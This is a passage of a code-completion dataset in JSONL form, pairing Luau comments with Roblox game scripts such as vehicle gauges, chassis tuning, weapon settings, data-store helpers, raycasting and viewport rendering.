mk\n\t\t= cached_power.bin_expt_range(-60 - (w_expt + 64))\n\n\t-- exponent = w_expt + 64\n\tlocal scaled_w_sigt0, scaled_w_sigt1 =\n\t\tdiy_fp.mul128(w_sigt0, w_sigt1, ten_mk_sigt0, ten_mk_sigt1)\n\n\tlocal scaled_boundary_minus_sigt0, scaled_boundary_minus_sigt1 =\n\t\tdiy_fp.mul128(\n\t\t\tboundary_minus_sigt0, boundary_minus_sigt1,\n\t\t\tten_mk_sigt0, ten_mk_sigt1\n\t\t)\n\n\tlocal scaled_boundary_plus_sigt0, scaled_boundary_plus_sigt1 =\n\t\tdiy_fp.mul128(\n\t\t\tboundary_plus_sigt0, boundary_plus_sigt1,\n\t\t\tten_mk_sigt0, ten_mk_sigt1\n\t\t)\n\n\tlocal result, buffer, length, kappa = digit_gen(\n\t\tscaled_boundary_minus_sigt0, scaled_boundary_minus_sigt1,\n\t\tboundary_minus_expt + ten_mk_expt + 64,\n\n\t\tscaled_w_sigt0, scaled_w_sigt1, w_expt + ten_mk_expt + 64,\n\t\tscaled_boundary_plus_sigt0, scaled_boundary_plus_sigt1,\n\n\t\tboundary_plus_expt + ten_mk_expt + 64\n\t)\n\n\tif result then\n\t\treturn buffer, length, -mk + kappa\n\tend\n\n\t-- fallback\n\treturn nil\nend\n"} +{"prompt": "--use this to determine if you want this human to be harmed or not, returns boolean", "completion": "\n\nfunction boom()\n\twait(2)\n\tUsed = true\n\tObject.Anchored = true\n\tObject.CanCollide = false\n\tObject.Sparks.Enabled = false\n\tObject.Orientation = Vector3.new(0,0,0)\n\tObject.Transparency = 1\n\tObject.Fuse:Stop()\n\tObject.Explode:Play()\n\tObject.Dist:Play()\n\tObject.Explosion:Emit(100)\n\tExplode()\nend\n\nboom()\n"} +{"prompt": "--Electrons--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Electron:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop FadeInTime number\n\tHow long it takes for the shake to fade in, measured in seconds.\n\n\tDefaults to `1`.\n]=]", "completion": "\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tName = \"replace\", \n\tAliases = { \"gsub\", \"//\" }, \n\tDescription = \"Replaces text A with text B\", \n\tGroup = \"DefaultUtil\", \n\tAutoExec = { \"alias \\\"map|Maps a CSV into another CSV\\\" replace $1{string|CSV} ([^,]+) \\\"$2{string|mapped value|Use %1 to insert the element}\\\"\", \"alias \\\"join|Joins a CSV with a specified delimiter\\\" replace $1{string|CSV} , $2{string|Delimiter}\" }, \n\tArgs = { {\n\t\t\tType = \"string\", \n\t\t\tName = \"Haystack\", \n\t\t\tDescription = \"The source string upon which to perform replacement.\"\n\t\t}, {\n\t\t\tType = \"string\", \n\t\t\tName = \"Needle\", \n\t\t\tDescription = \"The string pattern search for.\"\n\t\t}, {\n\t\t\tType = \"string\", \n\t\t\tName = \"Replacement\", \n\t\t\tDescription = \"The string to replace matches (%1 to insert matches).\", \n\t\t\tDefault = \"\"\n\t\t} }, \n\tRun = function(p1, p2, p3, p4)\n\t\treturn p2:gsub(p3, p4);\n\tend\n};\n"} +{"prompt": "-- the Tool, reffered to here as \"Block.\" Do not change it!", "completion": "\nBlock = script.Parent.Gear -- You CAN change the name in the quotes \"Example Tool\"\n"} +{"prompt": "-- Local player", "completion": "\nlocal player = Players.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal humanoid = character:WaitForChild(\"Humanoid\")\n\nlocal waypointFolder = game.Workspace.Waypoints\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nscript.Parent:WaitForChild(\"Gear\")\nscript.Parent:WaitForChild(\"Speed\")\nscript.Parent:WaitForChild(\"Needle\")\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\n\nscript.Parent.Parent.Values.Gear.Changed:connect(function()\n\tlocal gearText = script.Parent.Parent.Values.Gear.Value\n\tif gearText == 0 then \n\t\tgearText = \"\" .. \"N\" .. \"\"\n\n\telseif gearText == -1 then gearText = \"\" .. \"R\" .. \"\"\n\tend\n\tscript.Parent.Gear.Text = \"\" .. gearText .. \"\"\n\tscript.Parent.Gear.Font = Enum.Font.RobotoCondensed\nend)\n\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tscript.Parent.Needle.Rotation = 240 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\nend)\n\nscript.Parent.Parent.Values.Velocity.Changed:connect(function(property)\n\tscript.Parent.Speed.Text = \"\" .. math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. \"\"\nend)\n\nwait(.1)\n\nlocal RPMOFF = RedlineRPM - 100\n\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tlocal Roundspeed = script.Parent.Parent.Values.RPM.Value\n\n\tif Roundspeed <= RedlineRPM then \n\t\tscript.Parent.Gear.TextColor3 = Color3.fromRGB(255, 255, 255)\n\t\tscript.Parent.Center.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\n\n\telseif Roundspeed >= RPMOFF then \n\t\tscript.Parent.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)\n\t\tscript.Parent.Center.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\n\tend \n\nend)\n\nlocal values = script.Parent.Parent.Values\nlocal gauges = script.Parent\n\nvalues.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif values.TCS.Value then\n\t\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\n\t\t\tif values.TCSActive.Value then\n\t\t\t\twait()\n\t\t\t\t--gauges.TCS.Visible = not gauges.TCS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\t\tend\n\t\telse\n\t\t\tgauges.TCS.Visible = true\n\t\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\n\t\tend\n\telse\n\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tend\nend)\n\nvalues.TCSActive.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif values.TCSActive.Value and values.TCS.Value then\n\t\t\twait()\n\t\t\t\n\t\telseif not values.TCS.Value then\n\t\t\twait()\n\t\t\tgauges.TCS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\tend\n\telse\n\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tend\nend)\n\ngauges.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif values.TCSActive.Value and values.TCS.Value then\n\t\t\twait()\n\t\t\t\n\t\telseif not values.TCS.Value then\n\t\t\twait()\n\t\t\tgauges.TCS.Visible = true\n\t\tend\n\telse\n\t\tif gauges.TCS.Visible then\n\t\t\tgauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\tend\n\tend\nend)\n\nvalues.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif values.ABS.Value then\n\t\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\n\t\t\tif values.ABSActive.Value then\n\t\t\t\twait()\n\t\t\t\tgauges.ABS.Visible = not gauges.ABS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\t\tend\n\t\telse\n\t\t\tgauges.ABS.Visible = true\n\t\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\n\t\tend\n\telse\n\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tend\nend)\n\nvalues.ABSActive.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif values.ABSActive.Value and values.ABS.Value then\n\t\t\twait()\n\t\t\t\n\t\telseif not values.ABS.Value then\n\t\t\twait()\n\t\t\tgauges.ABS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\tend\n\telse\n\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tend\nend)\n\ngauges.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif values.ABSActive.Value and values.ABS.Value then\n\t\t\twait()\n\t\t\t\n\t\telseif not values.ABS.Value then\n\t\t\twait()\n\t\t\tgauges.ABS.Visible = true\n\t\tend\n\telse\n\t\tif gauges.ABS.Visible then\n\t\t\tgauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\t\tend\n\tend\nend)\n\ngauges.PBrake.Visible = values.PBrake.Value\n\nif values.PBrake.Value then\n\tgauges.Speedometer.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Speed.TextColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Shading.ImageColor3 = Color3.fromRGB(234, 31, 84)\nend\n\nfunction PBrake()\n\t\n\tgauges.PBrake.Visible = values.PBrake.Value\n\t\n\tif values.PBrake.Value then\n\tgauges.Speedometer.ImageColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Speed.TextColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)\n\tgauges.Shading.ImageColor3 = Color3.fromRGB(234, 31, 84)\nelse\n\tgauges.Speedometer.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tgauges.Speed.TextColor3 = Color3.fromRGB(255, 255, 255)\n\tgauges.Gear.TextColor3 = Color3.fromRGB(255, 255, 255)\n\tgauges.Shading.ImageColor3 = Color3.fromRGB(255, 255, 255)\n\tend\n\t\nend\n\n\n\nvalues.PBrake.Changed:connect(PBrake)\n\n"} +{"prompt": "--[[**\n\t\n\tThe same as :Get only it'll check to make sure all keys in the default data provided\n\texist. If not, will pass in the default value only for that key.\n\tThis is recommended for tables in case you want to add new entries to the table.\n\tNote this is not required for tables, it only provides an extra functionality.\n\t\n\n\t\n\tA table that will have its keys compared to that of the actual data received.\n\t\n\n\t\n\tThe value in the data store will all keys from the default value provided.\n\t\n**--]]", "completion": "\nfunction DataStore:GetTable(default, ...)\n\tassert(default ~= nil, \"You must provide a default value with :GetTable.\")\n\n\tlocal result = self:Get(default, ...)\n\tlocal changed = false\n\n\tassert(typeof(result) == \"table\", \":GetTable was used when the value in the data store isn't a table.\")\n\n\tfor defaultKey, defaultValue in pairs(default) do\n\t\tif result[defaultKey] == nil then\n\t\t\tresult[defaultKey] = defaultValue\n\t\t\tchanged = true\n\t\tend\n\tend\n\n\tif changed then\n\t\tself:Set(result)\n\tend\n\n\treturn result\nend\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForKeys = StateObject<{ [KO]: V }> & Dependent & {\n\t-- kind: \"ForKeys\" (add this when Luau supports singleton types)\n}"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = true\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 1\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.225)\n\t,SlideExtend = Vector3.new(0, 0, 0.225)"} +{"prompt": "--[=[\n\t@param id string\n\t@return component?\n\tReturns a component instance from the given ID.\n]=]", "completion": "\nfunction Component:GetFromID(id)\n\tfor _,v in ipairs(self._objects) do\n\t\tif v._id == id then\n\t\t\treturn v\n\t\tend\n\tend\n\treturn nil\nend\n\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"FWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--- Internal function to create an AdornmentData type\n--- Creates a LineHandleAdornment and a timer value", "completion": "\nfunction cache:_CreateAdornment(): AdornmentData\n\tlocal line: LineHandleAdornment = Instance.new(\"LineHandleAdornment\")\n\tline.Name = DEFAULT_DEBUGGER_RAY_NAME\n\tline.Color3 = DEFAULT_DEBUGGER_RAY_COLOUR\n\tline.Thickness = DEFAULT_DEBUGGER_RAY_WIDTH\n\n\tline.Length = 0\n\tline.CFrame = DEFAULT_FAR_AWAY_CFRAME\n\n\tline.Adornee = workspace.Terrain\n\tline.Parent = workspace.Terrain\n\n\treturn {\n\t\tAdornment = line,\n\t\tLastUse = 0\n\t}\nend\n"} +{"prompt": "-------------------------", "completion": "\nfunction onClicked()\nCar.BodyVelocity.velocity = Vector3.new(0, -10, 0)\nend\nscript.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "---[ This just makes it so the pizzas go invisible ] --", "completion": "\n\nscript.Parent.Pizza1.Changed:Connect(function()\n\twait(1)\n\tif script.Parent.Pizza1.Value == true then\n\t\tscript.Parent.Pizza1Part.Transparency = 1\n\t\tfor i, x in pairs(script.Parent.Pizza1Part:GetChildren()) do\n\t\t\tx.Transparency = 1\n\t\tend\n\t\twait(script.Parent.RespawnTime.Value)\n\t\tscript.Parent.Pizza1Part.Transparency = 0\n\t\tfor i, x in pairs(script.Parent.Pizza1Part:GetChildren()) do\n\t\t\tx.Transparency = 0\n\t\tend\n\t\tscript.Parent.Pizza1.Value = false\n\tend\nend)\nscript.Parent.Pizza2.Changed:Connect(function()\n\twait(1)\n\tif script.Parent.Pizza2.Value == true then\n\t\tscript.Parent.Pizza2Part.Transparency = 1\n\t\tfor i, x in pairs(script.Parent.Pizza2Part:GetChildren()) do\n\t\t\tx.Transparency = 1\n\t\tend\n\t\twait(script.Parent.RespawnTime.Value)\n\t\tscript.Parent.Pizza2Part.Transparency = 0\n\t\tfor i, x in pairs(script.Parent.Pizza2Part:GetChildren()) do\n\t\t\tx.Transparency = 0\n\t\tend\n\t\tscript.Parent.Pizza2.Value = false\n\tend\nend)\nscript.Parent.Pizza3.Changed:Connect(function()\n\twait(1)\n\tif script.Parent.Pizza3.Value == true then\n\t\tscript.Parent.Pizza3Part.Transparency = 1\n\t\tfor i, x in pairs(script.Parent.Pizza3Part:GetChildren()) do\n\t\t\tx.Transparency = 1\n\t\tend\n\t\twait(script.Parent.RespawnTime.Value)\n\t\tscript.Parent.Pizza3Part.Transparency = 0\n\t\tfor i, x in pairs(script.Parent.Pizza3Part:GetChildren()) do\n\t\t\tx.Transparency = 0\n\t\tend\n\t\tscript.Parent.Pizza3.Value = false\n\tend\nend)\n"} +{"prompt": "---- STATE MODIFICATION ----", "completion": "\n\nfunction ActiveCastStatic:Pause()\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"Pause\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself.StateInfo.Paused = true\nend\n\nfunction ActiveCastStatic:Resume()\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"Resume\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself.StateInfo.Paused = false\nend\n\nfunction ActiveCastStatic:Terminate(resultOfCast: RaycastResult?, isDecayed: boolean?)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"Terminate\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\t\n\t-- First: Set EndTime on the latest trajectory since it is now done simulating.\n\tlocal trajectories = self.StateInfo.Trajectories\n\tlocal lastTrajectory = trajectories[#trajectories]\n\tlastTrajectory.EndTime = self.StateInfo.TotalRuntime\n\t\n\t-- Disconnect the update connection.\n\tif self.StateInfo.UpdateConnection then\n\t\tself.StateInfo.UpdateConnection:Disconnect()\n\tend\n\t\n\t-- Now fire CastTerminating\n\tself.Caster.CastTerminating:FireSync(self, resultOfCast, isDecayed)\n\t\n\t-- And now set the update connection object to nil.\n\tif self.StateInfo.UpdateConnection then\n\t\tself.StateInfo.UpdateConnection = nil\n\tend\n\t\n\t-- And nuke everything in the table + clear the metatable.\n\tself.Caster = nil\n\tself.StateInfo = nil\n\tself.RayInfo = nil\n\t--self.UserData = nil\n\tsetmetatable(self, nil)\nend\n\nreturn ActiveCastStatic\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__LocalPlayer__1 = game:GetService(\"Players\").LocalPlayer;\nreturn function(p1)\n\tlocal v1 = require(script:WaitForChild(\"Window\"));\n\tv1.Cmdr = p1;\n\tlocal v2 = require(script:WaitForChild(\"AutoComplete\"))(p1);\n\tv1.AutoComplete = v2;\n\tlocal l__Util__2 = p1.Util;\n\tfunction v1.ProcessEntry(p2)\n\t\tp2 = l__Util__2.TrimString(p2);\n\t\tif #p2 == 0 then\n\t\t\treturn;\n\t\tend;\n\t\tv1:AddLine(v1:GetLabel() .. \" \" .. p2, Color3.fromRGB(255, 223, 93));\n\t\tv1:AddLine(p1.Dispatcher:EvaluateAndRun(p2, l__LocalPlayer__1, {\n\t\t\tIsHuman = true\n\t\t}));\n\tend;\n\tfunction v1.OnTextChanged(p3)\n\t\tlocal v3 = p1.Dispatcher:Evaluate(p3, l__LocalPlayer__1, true);\n\t\tlocal v4 = l__Util__2.SplitString(p3);\n\t\tlocal v5 = table.remove(v4, 1);\n\t\tlocal v6 = false;\n\t\tif v3 then\n\t\t\tv4 = l__Util__2.MashExcessArguments(v4, #v3.Object.Args);\n\t\t\tv6 = #v4 == #v3.Object.Args;\n\t\tend;\n\t\tlocal v7 = v5 and #v4 > 0;\n\t\tif p3:sub(#p3, #p3):match(\"%s\") and not v6 then\n\t\t\tv7 = true;\n\t\t\tv4[#v4 + 1] = \"\";\n\t\tend;\n\t\tif v3 and v7 then\n\t\t\tlocal v8, v9 = v3:Validate();\n\t\t\tv1:SetIsValidInput(v8, (\"Validation errors: %s\"):format(v9 and \"\"));\n\t\t\tlocal v10 = {};\n\t\t\tlocal v11 = v3:GetArgument(#v4);\n\t\t\tif v11 then\n\t\t\t\tlocal l__TextSegmentInProgress__12 = v11.TextSegmentInProgress;\n\t\t\t\tlocal v13 = false;\n\t\t\t\tif v11.RawSegmentsAreAutocomplete then\n\t\t\t\t\tlocal v14, v15, v16 = ipairs(v11.RawSegments);\n\t\t\t\t\twhile true do\n\t\t\t\t\t\tv14(v15, v16);\n\t\t\t\t\t\tif not v14 then\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tend;\n\t\t\t\t\t\tv16 = v14;\n\t\t\t\t\t\tv10[v14] = { v15, v15 };\t\t\t\t\t\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tlocal v17, v18 = v11:GetAutocomplete();\n\t\t\t\t\tv13 = (v18 or {}).IsPartial and false;\n\t\t\t\t\tfor v19, v20 in pairs(v17) do\n\t\t\t\t\t\tv10[v19] = { l__TextSegmentInProgress__12, v20 };\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\t\tlocal v21 = true;\n\t\t\t\tif #l__TextSegmentInProgress__12 > 0 then\n\t\t\t\t\tlocal v22, v23 = v11:Validate();\n\t\t\t\t\tv21 = v22;\n\t\t\t\t\tv9 = v23;\n\t\t\t\tend;\n\t\t\t\tif not v6 and v21 then\n\t\t\t\t\tv1:HideInvalidState();\n\t\t\t\tend;\n\t\t\t\tlocal v24 = {};\n\t\t\t\tlocal v25 = v6;\n\t\t\t\tif v25 then\n\t\t\t\t\tif p3:sub(#p3, #p3):match(\"%s\") then\n\t\t\t\t\t\tlocal v26 = -1;\n\t\t\t\t\telse\n\t\t\t\t\t\tv26 = 0;\n\t\t\t\t\tend;\n\t\t\t\t\tv25 = #p3 - #l__TextSegmentInProgress__12 + v26;\n\t\t\t\tend;\n\t\t\t\tv24.at = v25;\n\t\t\t\tv24.prefix = #v11.RawSegments == 1 and v11.Prefix or \"\";\n\t\t\t\tlocal v27 = false;\n\t\t\t\tif #v3.Arguments == #v3.ArgumentDefinitions then\n\t\t\t\t\tv27 = #l__TextSegmentInProgress__12 > 0;\n\t\t\t\tend;\n\t\t\t\tv24.isLast = v27;\n\t\t\t\tv24.numArgs = #v4;\n\t\t\t\tv24.command = v3;\n\t\t\t\tv24.arg = v11;\n\t\t\t\tif v11.Required then\n\t\t\t\t\tlocal v28 = \"\";\n\t\t\t\telse\n\t\t\t\t\tv28 = \"?\";\n\t\t\t\tend;\n\t\t\t\tv24.name = v11.Name .. v28;\n\t\t\t\tv24.type = v11.Type.DisplayName;\n\t\t\t\tv24.description = v21 == false and v9 or v11.Object.Description;\n\t\t\t\tv24.invalid = not v21;\n\t\t\t\tv24.isPartial = v13;\n\t\t\t\treturn v2:Show(v10, v24);\n\t\t\tend;\n\t\telseif v5 and #v4 == 0 then\n\t\t\tv1:SetIsValidInput(true);\n\t\t\tlocal v29 = p1.Registry:GetCommand(v5);\n\t\t\tif v29 then\n\t\t\t\t({ v29.Name, v29.Name }).options = {\n\t\t\t\t\tname = v29.Name, \n\t\t\t\t\tdescription = v29.Description\n\t\t\t\t};\n\t\t\t\tlocal v30 = v29.Args and v29.Args[1];\n\t\t\t\tif type(v30) == \"function\" then\n\t\t\t\t\tv30 = v30(v3);\n\t\t\t\tend;\n\t\t\t\tif v30 and not v30.Optional and v30.Default == nil then\n\t\t\t\t\tv1:SetIsValidInput(false, \"This command has required arguments.\");\n\t\t\t\t\tv1:HideInvalidState();\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tv1:SetIsValidInput(false, (\"%q is not a valid command name. Use the help command to see all available commands.\"):format(v5));\n\t\t\tend;\n\t\t\tlocal v31 = { nil };\n\t\t\tfor v32, v33 in pairs(p1.Registry:GetCommandNames()) do\n\t\t\t\tif v5:lower() == v33:lower():sub(1, #v5) and (nil == nil or (nil)[1] ~= v5) then\n\t\t\t\t\tlocal v34 = p1.Registry:GetCommand(v33);\n\t\t\t\t\tv31[#v31 + 1] = {\n\t\t\t\t\t\toptions = {\n\t\t\t\t\t\t\tname = v34.Name, \n\t\t\t\t\t\t\tdescription = v34.Description\n\t\t\t\t\t\t},\n\t\t\t\t\t\tv5, v33\n\t\t\t\t\t};\n\t\t\t\tend;\n\t\t\tend;\n\t\t\treturn v2:Show(v31);\n\t\tend;\n\t\tv1:SetIsValidInput(false, \"Use the help command to see all available commands.\");\n\t\tv2:Hide();\n\tend;\n\tv1:UpdateLabel();\n\tv1:UpdateWindowHeight();\n\treturn {\n\t\tWindow = v1, \n\t\tAutoComplete = v2\n\t};\nend;\n"} +{"prompt": "-- Public Methods", "completion": "\n\nfunction ViewportWindow:Destroy()\n\tself.SurfaceGUI:Destroy()\nend\n\nfunction ViewportWindow:AddSkybox(skybox)\n\tif (skybox and skybox:IsA(\"Sky\")) then\n\t\tself.SkyboxFrame:ClearAllChildren()\n\t\tSkyboxModel(skybox).Parent = self.SkyboxFrame\n\tend\nend\n\nfunction ViewportWindow:AddWithLookup(children, cloneFunc, parent, lookup)\n\tlookup = lookup or {}\n\tparent = parent or self.ViewportFrame\n\tcloneFunc = cloneFunc or defaultCloneFunc\n\t\n\tfor _, part in next, children do\n\t\tif (not part:IsA(\"LuaSourceContainer\")) then\n\t\t\tlocal archivable = part.Archivable\n\t\t\tpart.Archivable = true\n\t\t\t\n\t\t\tlocal clone = part:Clone()\n\t\t\tif (clone) then\n\t\t\t\tclone:ClearAllChildren()\n\t\t\t\tcloneFunc(part, clone)\n\t\t\t\tclone.Parent = parent\n\t\t\n\t\t\t\tself:AddWithLookup(part:GetChildren(), cloneFunc, clone, lookup)\n\t\t\t\t\n\t\t\t\tlookup[part] = clone\n\t\t\tend\n\t\t\t\n\t\t\tpart.Archivable = archivable\n\t\tend\n\tend\n\t\n\treturn lookup\nend\n\nfunction ViewportWindow:GetPart()\n\treturn self.SurfaceGUI.Adornee\nend\n\nfunction ViewportWindow:GetSurfaceInfo()\n\tlocal part = self.SurfaceGUI.Adornee\n\tlocal partCF, partSize = part.CFrame, part.Size\n\t\n\tlocal back = -Vector3.FromNormalId(self.SurfaceGUI.Face)\n\tlocal axis = (math.abs(back.y) == 1) and Vector3.new(back.y, 0, 0) or UNIT_Y\n\tlocal right = CFrame.fromAxisAngle(axis, PI2) * back\n\tlocal top = back:Cross(right).Unit\n\t\n\tlocal cf = partCF * CFrame.fromMatrix(-back*partSize/2, right, top, back)\n\tlocal size = Vector3.new((partSize * right).Magnitude, (partSize * top).Magnitude, (partSize * back).Magnitude)\n\n\treturn cf, size\nend\n\nfunction ViewportWindow:RenderFrame(camCF, surfaceCF, surfaceSize)\n\tlocal camera = game.Workspace.CurrentCamera\n\t\n\tcamCF = camCF or camera.CFrame\n\tif not (surfaceCF and surfaceSize) then\n\t\tsurfaceCF, surfaceSize = self:GetSurfaceInfo()\n\tend\n\t\n\t--\n\t\n\tlocal tc = surfaceCF * Vector3.new(0, surfaceSize.y/2, 0)\n\tlocal bc = surfaceCF * Vector3.new(0, -surfaceSize.y/2, 0)\n\t\n\tlocal cross = camCF.LookVector:Cross(surfaceCF.UpVector)\n\tlocal right = cross:Dot(cross) > 0 and cross.Unit or camCF.RightVector\n\t\n\tlocal levelCamCF = CFrame.fromMatrix(camCF.p, right, surfaceCF.UpVector, right:Cross(surfaceCF.UpVector))\n\tlocal levelCamCFInv = levelCamCF:Inverse()\n\t\n\tlocal csbc = levelCamCFInv * bc\n\tlocal cstc = levelCamCFInv * tc\n\tlocal v1 = (csbc*YZ).Unit\n\tlocal v2 = (cstc*YZ).Unit\n\tlocal alpha = math.sign(v1.y)*math.acos(v1:Dot(UNIT_NZ))\n\tlocal beta = math.sign(v2.y)*math.acos(v2:Dot(UNIT_NZ))\n\t\n\tlocal fh = 2*math.tan(math.rad(camera.FieldOfView)/2)\n\tlocal hPrime = math.tan(beta) - math.tan(alpha)\n\tlocal refHeight = hPrime / fh\n\t\n\t--\n\t\n\tlocal c2p = surfaceCF:VectorToObjectSpace(surfaceCF.p - camCF.p)\n\tlocal c2pXZ = c2p * XZ\n\tlocal c2pYZ = c2p * YZ\n\t\n\tlocal dpX = c2pXZ.Unit:Dot(UNIT_NZ)\n\tlocal camXZ = (surfaceCF:VectorToObjectSpace(camCF.LookVector) * XZ)\n\t\n\tlocal scale = camXZ.Unit:Dot(c2pXZ.Unit) / UNIT_NZ:Dot(c2pXZ.Unit)\n\tlocal tanArcCos = math.sqrt(1 - dpX*dpX) / dpX\n\t\n\t--\n\t\n\tlocal w, h = 1, (surfaceSize.x / surfaceSize.y)\n\tlocal dx = math.sign(c2p.x*c2p.z)*tanArcCos\n\tlocal dy = c2pYZ.y / c2pYZ.z * h\n\tlocal d = math.abs(scale * refHeight * h)\n\t\n\tlocal ncf = (surfaceCF - surfaceCF.p) * Y_SPIN * CFrame.new(0, 0, 0, w, 0, 0, 0, h, 0, dx, dy, d)\n\tlocal c = {ncf:GetComponents()}\n\t\n\tlocal max = {}\n\tfor i = 1, #c do max[i] = math.abs(c[i]) end\n\tmax = math.max(unpack(max))\n\t\n\tncf = 